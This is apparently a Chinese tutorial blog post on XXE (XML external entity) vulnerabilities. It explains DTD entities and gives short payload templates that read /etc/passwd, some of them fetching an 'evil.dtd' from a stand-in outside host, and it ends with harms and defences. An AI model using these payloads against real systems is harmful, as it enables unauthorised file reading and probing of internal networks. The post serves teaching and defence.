XXE漏洞的详解与利用

XXE漏洞详解

漏洞介绍:

如果XML 文件在引用外部实体时候,可以沟通构造恶意内容,可以导致读取任意文件,命令执行和对内网的攻击,这就是XXE漏洞另外php版本大于5.4.45的默认不解析外部实体

XML:

设计用来进行数据的传输和存储, 结构是树形结构,有标签构成,这点很想HTML语言。但是XML和HTML有明显区别如下:

1.被设计用来传输和存储数据。

2.被设计用来显示数据。

XML结构:

 <?xml version="1.0" encoding="UTF-8"?>

<note>

<to>Tove</to>

<from>Jani</from>

<heading>Reminder</heading>

<body>Don't forget me this weekend!</body>

</note>

第一行XML的声明,第二行<note> 为根元素, 下面的to, from,heading和body 都是子元素

DTD实体

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

实体又分为一般实体和参数实体

1,一般实体的声明语法:<!ENTITY 实体名 "实体内容“>

引用实体的方式:&实体名;

2,参数实体只能在DTD中使用,参数实体的声明格式: <!ENTITY % 实体名 "实体内容“>

引用实体的方式:%实体名;

外部实体构建

直接通过DTD外部实体声明

<?xml version=”1.0”?>

<!DOCTYPE a [ <!ENTITY b SYSTEM “file:///etc/passwd”>

]>

<c>&a;<c>

通过DTD文档引入外部DTD文档,再引入外部实体声明

<?xml version=”1.0”?>

<!DOCTYPE a SYSTEM “https://123abc.com/evil.dtd”>

<c>&b;<c>

DTD文件内容:

 <!ENTITY b SYSTEM “file:///etc/passwd”>

通过DTD外部实体声明引入外部实体声明

<?xml version=”1.0”?>

<!DOCTYPE a [ <!ENTITY b SYSTEM “https://123abc.com/evil.dtd”>

]>

<c>&b;<c>

DTD文件内容:

 <!ENTITY b SYSTEM “file:///etc/passwd”>

XXE漏洞危害与防御

危害

  1. 读取系统文件;
  2. 执行系统命令;
  3. 探测内网端口;
  4. 攻击内部网络。

防御

方案一、使用开发语言提供的禁用外部实体的方法

方案二、过滤用户提交的XML数据

关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值